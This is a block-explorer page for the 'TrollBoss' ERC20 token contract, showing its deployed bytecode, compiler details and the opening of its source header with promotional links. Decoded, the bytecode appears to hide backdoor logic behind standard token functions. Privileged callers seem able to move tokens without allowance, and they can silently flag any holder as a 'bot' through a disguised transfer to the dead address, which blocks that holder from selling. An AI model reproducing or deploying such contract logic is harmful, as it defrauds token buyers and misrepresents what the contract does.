Address Contract Verified
Address
0x0678962DF397d018bEFC82ee33d67ECd5a816B1D
Balance
0 ETH
Nonce
1
Code Size
15619 bytes
Creator
0x1181d2e8...56a0 at tx 0x840cfe04...6e9861
Indexed Transactions
0
Contract Bytecode
15619 bytes
0x60806040526004361061026a575f3560e01c8063715018a611610143578063a9059cbb116100b5578063e10e9f3211610079578063e10e9f321461093d578063f2fde38b14610967578063f872858a1461098f578063fb002c97146109b9578063fc155d1d146109e3578063ffb54a9914610a0b57610271565b8063a9059cbb14610835578063ac23ca5914610871578063c816841b1461089b578063c867d60b146108c5578063dd62ed3e1461090157610271565b80638da5cb5b116101075780638da5cb5b146107155780639191a9c71461073f57806395d89b411461077b578063a073d37f146107a5578063a08e671f146107cf578063a457c2d7146107f957610271565b8063715018a6146106575780637849c1cd1461066d5780637d1db4a514610697578063807c2d9c146106c157806382d20116146106eb57610271565b8063293230b8116101dc57806339509351116101a05780633950935114610525578063416d5471146105615780634a4d78b61461058b5780634b743995146105b55780635342acb4146105df57806370a082311461061b57610271565b8063293230b8146104675780632b112e491461047d5780632baa7217146104a75780632e97766d146104d1578063313ce567146104fb57610271565b80631694505e1161022e5780631694505e1461035957806318160ddd1461038357806319c59e2c146103ad5780631a8145bb146103d757806323b872dd1461040157806327c8f8351461043d57610271565b8063031d6cd01461027557806306fdde031461029f578063095ea7b3146102c95780630e47e822146103055780631107b3a51461032f57610271565b3661027157005b5f5ffd5b348015610280575f5ffd5b50610289610a35565b6040516102969190612e90565b60405180910390f35b3480156102aa575f5ffd5b506102b3610a3b565b6040516102c09190612f19565b60405180910390f35b3480156102d4575f5ffd5b506102ef60048036038101906102ea9190612fc1565b610acb565b6040516102fc9190613019565b60405180910390f35b348015610310575f5ffd5b50610319610ae8565b6040516103269190612e90565b60405180910390f35b34801561033a575f5ffd5b50610343610aee565b6040516103509190612e90565b60405180910390f35b348015610364575f5ffd5b5061036d610af4565b60405161037a919061308d565b60405180910390f35b34801561038e575f5ffd5b50610397610b19565b6040516103a49190612e90565b60405180910390f35b3480156103b8575f5ffd5b506103c1610b22565b6040516103ce9190612e90565b60405180910390f35b3480156103e2575f5ffd5b506103eb610b28565b6040516103f89190612e90565b60405180910390f35b34801561040c575f5ffd5b50610427600480360381019061042291906130a6565b610b2e565b6040516104349190613019565b60405180910390f35b348015610448575f5ffd5b50610451610bf5565b60405161045e9190613105565b60405180910390f35b348015610472575f5ffd5b5061047b610c19565b005b348015610488575f5ffd5b50610491610cdc565b60405161049e9190612e90565b60405180910390f35b3480156104b2575f5ffd5b506104bb610d1f565b6040516104c89190612e90565b60405180910390f35b3480156104dc575f5ffd5b506104e5610d25565b6040516104f29190612e90565b60405180910390f35b348015610506575f5ffd5b5061050f610d2c565b60405161051c9190613139565b60405180910390f35b348015610530575f5ffd5b5061054b60048036038101906105469190612fc1565b610d41565b6040516105589190613019565b60405180910390f35b34801561056c575f5ffd5b50610575610def565b6040516105829190613172565b60405180910390f35b348015610596575f5ffd5b5061059f610e14565b6040516105ac9190613172565b60405180910390f35b3480156105c0575f5ffd5b506105c9610e3a565b6040516105d69190612e90565b60405180910390f35b3480156105ea575f5ffd5b506106056004803603810190610600919061318b565b610e40565b6040516106129190613019565b60405180910390f35b348015610626575f5ffd5b50610641600480360381019061063c919061318b565b610e5d565b60405161064e9190612e90565b60405180910390f35b348015610662575f5ffd5b5061066b610ea3565b005b348015610678575f5ffd5b50610681610ff3565b60405161068e9190612e90565b60405180910390f35b3480156106a2575f5ffd5b506106ab610ff9565b6040516106b89190612e90565b60405180910390f35b3480156106cc575f5ffd5b506106d5610fff565b6040516106e29190612e90565b60405180910390f35b3480156106f6575f5ffd5b506106ff611005565b60405161070c9190612e90565b60405180910390f35b348015610720575f5ffd5b5061072961100b565b6040516107369190613105565b60405180910390f35b34801561074a575f5ffd5b506107656004803603810190610760919061318b565b611032565b6040516107729190613019565b60405180910390f35b348015610786575f5ffd5b5061078f61104f565b60405161079c9190612f19565b60405180910390f35b3480156107b0575f5ffd5b506107b96110df565b6040516107c69190612e90565b60405180910390f35b3480156107da575f5ffd5b506107e36110e8565b6040516107f09190612e90565b60405180910390f35b348015610804575f5ffd5b5061081f600480360381019061081a9190612fc1565b6110ee565b60405161082c9190613019565b60405180910390f35b348015610840575f5ffd5b5061085b60048036038101906108569190612fc1565b6111b6565b6040516108689190613019565b60405180910390f35b34801561087c575f5ffd5b506108856111d4565b6040516108929190612e90565b60405180910390f35b3480156108a6575f5ffd5b506108af6111da565b6040516108bc9190613105565b60405180910390f35b3480156108d0575f5ffd5b506108eb60048036038101906108e6919061318b565b6111ff565b6040516108f89190613019565b60405180910390f35b34801561090c575f5ffd5b50610927600480360381019061092291906131b6565b61121c565b6040516109349190612e90565b60405180910390f35b348015610948575f5ffd5b5061095161129e565b60405161095e9190612e90565b60405180910390f35b348015610972575f5ffd5b5061098d6004803603810190610988919061318b565b6112a4565b005b34801561099a575f5ffd5b506109a3611463565b6040516109b09190613019565b60405180910390f35b3480156109c4575f5ffd5b506109cd611475565b6040516109da9190612e90565b60405180910390f35b3480156109ee575f5ffd5b50610a096004803603810190610a0491906131f4565b61147b565b005b348015610a16575f5ffd5b50610a1f61171c565b604051610a2c9190613019565b60405180910390f35b60125481565b606060018054610a4a9061324c565b80601f0160208091040260200160405190810160405280929190818152602001828054610a769061324c565b8015610ac15780601f10610a9857610100808354040283529160200191610ac1565b820191905f5260205f20905b815481529060010190602001808311610aa457829003601f168201915b5050505050905090565b5f610ade610ad761172e565b8484611735565b6001905092915050565b60135481565b60115481565b601e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600754905090565b600f5481565b60205481565b5f610b3a8484846118f8565b50610bea84610b4761172e565b610be5856001610b55612145565b60195f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610b9b61172e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546121ef909392919063ffffffff16565b611735565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b610c2161172e565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca5906132c6565b60405180910390fd5b610cc0610cba30610e5d565b4761228d565b600160225f6101000a81548160ff021916908315150217905550565b5f610d1a610d097f000000000000000000000000000000000000000000000000000000000000dead610e5d565b60075461236d90919063ffffffff16565b905090565b60165481565b5f43905090565b5f60035f9054906101000a900460ff16905090565b5f610de5610d4d61172e565b84610de08560195f610d5d61172e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123b690919063ffffffff16565b611735565b6001905092915050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b601a602052805f5260405f205f915054906101000a900460ff1681565b5f60185f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610eab61172e565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906132c6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60095481565b600a5481565b600d5481565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601d602052805f5260405f205f915054906101000a900460ff1681565b60606002805461105e9061324c565b80601f016020809104026020016040519081016040528092919081815260200182805461108a9061324c565b80156110d55780601f106110ac576101008083540402835291602001916110d5565b820191905f5260205f20905b8154815290600101906020018083116110b857829003601f168201915b5050505050905090565b5f600854905090565b60175481565b5f6111ac6110fa61172e565b846111a785604051806060016040528060258152602001613ca96025913960195f61112361172e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124139092919063ffffffff16565b611735565b6001905092915050565b5f6111c96111c261172e565b84846118f8565b506001905092915050565b60155481565b601f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b602052805f5260405f205f915054906101000a900460ff1681565b5f60195f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60105481565b6112ac61172e565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611339576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611330906132c6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036113a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139e90613354565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b5f9054906101000a900460ff1681565b60215481565b61148361172e565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611510576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611507906132c6565b60405180910390fd5b5f600267ffffffffffffffff81111561152c5761152b613372565b5b60405190808252806020026020018201604052801561155a5781602001602082028036833780820191505090505b509050601e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115c7573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115eb91906133b3565b815f815181106115fe576115fd6133de565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050308160018151811061164d5761164c6133de565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de95835f8461dead426040518663ffffffff1660e01b81526004016116ea94939291906134fb565b5f604051808303818588803b158015611701575f5ffd5b505af1158015611713573d5f5f3e3d5ffd5b50505050505050565b60225f9054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036117a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179a906135b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180890613643565b60405180910390fd5b8060195f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118eb9190612e90565b60405180910390a3505050565b5f5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611967576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195e906136d1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119cc9061375f565b60405180910390fd5b60225f9054906101000a900460ff16611a8357601a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16611a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a68906137ed565b60405180910390fd5b611a7c848484612475565b905061213e565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611b21575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5790613855565b60405180910390fd5b601a5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611c035750601f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c3c575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c5d57506103e882611c5086610e5d565b611c5a91906138a0565b11155b15611cc057600160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001905061213e565b601f60149054906101000a900460ff1615611ce757611ce0848484612475565b905061213e565b611cef61100b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611d5d5750611d2d61100b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d6d57611d6c848361263f565b5b5f611d7730610e5d565b90505f6008548210159050808015611d9c5750601f60149054906101000a900460ff16155b8015611def5750601d5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611dfe57611dfd826126d9565b5b611e85846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060185f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124139092919063ffffffff16565b60185f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f601a5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611f625750601a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611f7657611f71878787612886565b611f78565b845b9050600b5f9054906101000a900460ff168015611fdc5750601b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561200a57600a54611fff82611ff189610e5d565b6123b690919063ffffffff16565b1115612009575f5ffd5b5b61205a8160185f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123b690919063ffffffff16565b60185f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614612136578573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161212d9190612e90565b60405180910390a35b600193505050505b9392505050565b6060601a5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166121b357604051806060016040528060288152602001613c81602891396121ea565b6040518060400160405280601281526020017f544f4b454e3a203c20616c6c6f77616e636500000000000000000000000000008152505b905090565b5f5f851015801561220057505f8410155b8015612210575060011515831515145b801561221d575060128251145b1561222a57849050612285565b848411158290612270576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122679190612f19565b60405180910390fd5b505f848661227e91906138a0565b9050809150505b949350505050565b6122b930601e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611735565b601e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f5f61230361100b565b426040518863ffffffff1660e01b8152600401612325969594939291906138d3565b60606040518083038185885af1158015612341573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906123669190613946565b5050505050565b5f6123ae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612413565b905092915050565b5f5f82846123c49190613996565b905083811015612409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240090613a13565b60405180910390fd5b8091505092915050565b5f83831115829061245a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124519190612f19565b60405180910390fd5b505f838561246891906138a0565b9050809150509392505050565b5f6124fd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060185f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124139092919063ffffffff16565b60185f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061258e8260185f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123b690919063ffffffff16565b60185f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161262c9190612e90565b60405180910390a3600190509392505050565b600954811115806126965750601c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6126d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126cc90613a7b565b60405180910390fd5b5050565b6001601f60146101000a81548160ff0219169083151502179055505f612731600261272360175461271560155487612aa090919063ffffffff16565b612b1790919063ffffffff16565b612b1790919063ffffffff16565b90505f612747828461236d90919063ffffffff16565b905061275281612b60565b5f4790505f6127816127706002601554612b1790919063ffffffff16565b60175461236d90919063ffffffff16565b90505f6127be60026127b0846127a260155488612aa090919063ffffffff16565b612b1790919063ffffffff16565b612b1790919063ffffffff16565b90505f6127d4828561236d90919063ffffffff16565b90505f81111561280a57612809600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612dcf565b5b5f8211801561281857505f86115b1561286357612827868361228d565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185838860405161285a93929190613a99565b60405180910390a15b5050505050505f601f60146101000a81548160ff02191690831515021790555050565b5f5f5f9050601d5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156129095761290260646128f4600f5486612aa090919063ffffffff16565b612b1790919063ffffffff16565b9050612984565b601d5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561298357612980606461297260135486612aa090919063ffffffff16565b612b1790919063ffffffff16565b90505b5b5f811115612a83576129dc8160185f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546123b690919063ffffffff16565b60185f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a7a9190612e90565b60405180910390a35b612a96818461236d90919063ffffffff16565b9150509392505050565b5f5f8303612ab0575f9050612b11565b5f8284612abd9190613ace565b9050828482612acc9190613b3c565b14612b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0390613bdc565b60405180910390fd5b809150505b92915050565b5f612b5883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e17565b905092915050565b5f600267ffffffffffffffff811115612b7c57612b7b613372565b5b604051908082528060200260200182016040528015612baa5781602001602082028036833780820191505090505b50905030815f81518110612bc157612bc06133de565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c65573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612c8991906133b3565b81600181518110612c9d57612c9c6133de565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612d0330601e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611735565b601e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401612d65959493929190613bfa565b5f604051808303815f87803b158015612d7c575f5ffd5b505af1158015612d8e573d5f5f3e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612dc3929190613c52565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612e12573d5f5f3e3d5ffd5b505050565b5f5f83118290612e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e549190612f19565b60405180910390fd5b505f8385612e6b9190613b3c565b9050809150509392505050565b5f819050919050565b612e8a81612e78565b82525050565b5f602082019050612ea35f830184612e81565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f612eeb82612ea9565b612ef58185612eb3565b9350612f05818560208601612ec3565b612f0e81612ed1565b840191505092915050565b5f6020820190508181035f830152612f318184612ee1565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612f6682612f3d565b9050919050565b612f7681612f5c565b8114612f80575f5ffd5b50565b5f81359050612f9181612f6d565b92915050565b612fa081612e78565b8114612faa575f5ffd5b50565b5f81359050612fbb81612f97565b92915050565b5f5f60408385031215612fd757612fd6612f39565b5b5f612fe485828601612f83565b9250506020612ff585828601612fad565b9150509250929050565b5f8115159050919050565b61301381612fff565b82525050565b5f60208201905061302c5f83018461300a565b92915050565b5f819050919050565b5f61305561305061304b84612f3d565b613032565b612f3d565b9050919050565b5f6130668261303b565b9050919050565b5f6130778261305c565b9050919050565b6130878161306d565b82525050565b5f6020820190506130a05f83018461307e565b92915050565b5f5f5f606084860312156130bd576130bc612f39565b5b5f6130ca86828701612f83565b93505060206130db86828701612f83565b92505060406130ec86828701612fad565b9150509250925092565b6130ff81612f5c565b82525050565b5f6020820190506131185f8301846130f6565b92915050565b5f60ff82169050919050565b6131338161311e565b82525050565b5f60208201905061314c5f83018461312a565b92915050565b5f61315c82612f3d565b9050919050565b61316c81613152565b82525050565b5f6020820190506131855f830184613163565b92915050565b5f602082840312156131a05761319f612f39565b5b5f6131ad84828501612f83565b91505092915050565b5f5f604083850312156131cc576131cb612f39565b5b5f6131d985828601612f83565b92505060206131ea85828601612f83565b9150509250929050565b5f6020828403121561320957613208612f39565b5b5f61321684828501612fad565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061326357607f821691505b6020821081036132765761327561321f565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6132b0602083612eb3565b91506132bb8261327c565b602082019050919050565b5f6020820190508181035f8301526132dd816132a4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61333e602683612eb3565b9150613349826132e4565b604082019050919050565b5f6020820190508181035f83015261336b81613332565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506133ad81612f6d565b92915050565b5f602082840312156133c8576133c7612f39565b5b5f6133d58482850161339f565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f61342e6134296134248461340b565b613032565b612e78565b9050919050565b61343e81613414565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61347681612f5c565b82525050565b5f613487838361346d565b60208301905092915050565b5f602082019050919050565b5f6134a982613444565b6134b3818561344e565b93506134be8361345e565b805f5b838110156134ee5781516134d5888261347c565b97506134e083613493565b9250506001810190506134c1565b5085935050505092915050565b5f60808201905061350e5f830187613435565b8181036020830152613520818661349f565b905061352f60408301856130f6565b61353c6060830184612e81565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61359f602483612eb3565b91506135aa82613545565b604082019050919050565b5f6020820190508181035f8301526135cc81613593565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61362d602283612eb3565b9150613638826135d3565b604082019050919050565b5f6020820190508181035f83015261365a81613621565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6136bb602583612eb3565b91506136c682613661565b604082019050919050565b5f6020820190508181035f8301526136e8816136af565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613749602383612eb3565b9150613754826136ef565b604082019050919050565b5f6020820190508181035f8301526137768161373d565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f6137d7603f83612eb3565b91506137e28261377d565b604082019050919050565b5f6020820190508181035f830152613804816137cb565b9050919050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f61383f601283612eb3565b915061384a8261380b565b602082019050919050565b5f6020820190508181035f83015261386c81613833565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6138aa82612e78565b91506138b583612e78565b92508282039050818111156138cd576138cc613873565b5b92915050565b5f60c0820190506138e65f8301896130f6565b6138f36020830188612e81565b6139006040830187613435565b61390d6060830186613435565b61391a60808301856130f6565b61392760a0830184612e81565b979650505050505050565b5f8151905061394081612f97565b92915050565b5f5f5f6060848603121561395d5761395c612f39565b5b5f61396a86828701613932565b935050602061397b86828701613932565b925050604061398c86828701613932565b9150509250925092565b5f6139a082612e78565b91506139ab83612e78565b92508282019050808211156139c3576139c2613873565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6139fd601b83612eb3565b9150613a08826139c9565b602082019050919050565b5f6020820190508181035f830152613a2a816139f1565b9050919050565b7f5458204c696d69742045786365656465640000000000000000000000000000005f82015250565b5f613a65601183612eb3565b9150613a7082613a31565b602082019050919050565b5f6020820190508181035f830152613a9281613a59565b9050919050565b5f606082019050613aac5f830186612e81565b613ab96020830185612e81565b613ac66040830184612e81565b949350505050565b5f613ad882612e78565b9150613ae383612e78565b9250828202613af181612e78565b91508282048414831517613b0857613b07613873565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613b4682612e78565b9150613b5183612e78565b925082613b6157613b60613b0f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613bc6602183612eb3565b9150613bd182613b6c565b604082019050919050565b5f6020820190508181035f830152613bf381613bba565b9050919050565b5f60a082019050613c0d5f830188612e81565b613c1a6020830187613435565b8181036040830152613c2c818661349f565b9050613c3b60608301856130f6565b613c486080830184612e81565b9695505050505050565b5f604082019050613c655f830185612e81565b8181036020830152613c77818461349f565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206732e2720b22bb4fea9939bf67d41b0ca8c4a340a423eb4fb1e2501a9a536c0564736f6c634300081e0033
Verified Source Code Full Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
Token.sol 1499 lines
// SPDX-License-Identifier: MIT
/*
Name: TrollBoss
Symbol: TROLLBOSS
$TROLL + $BOSS = $TROLLBOSS
https://trollbosserc.vip
https://x.com/trollbosserc
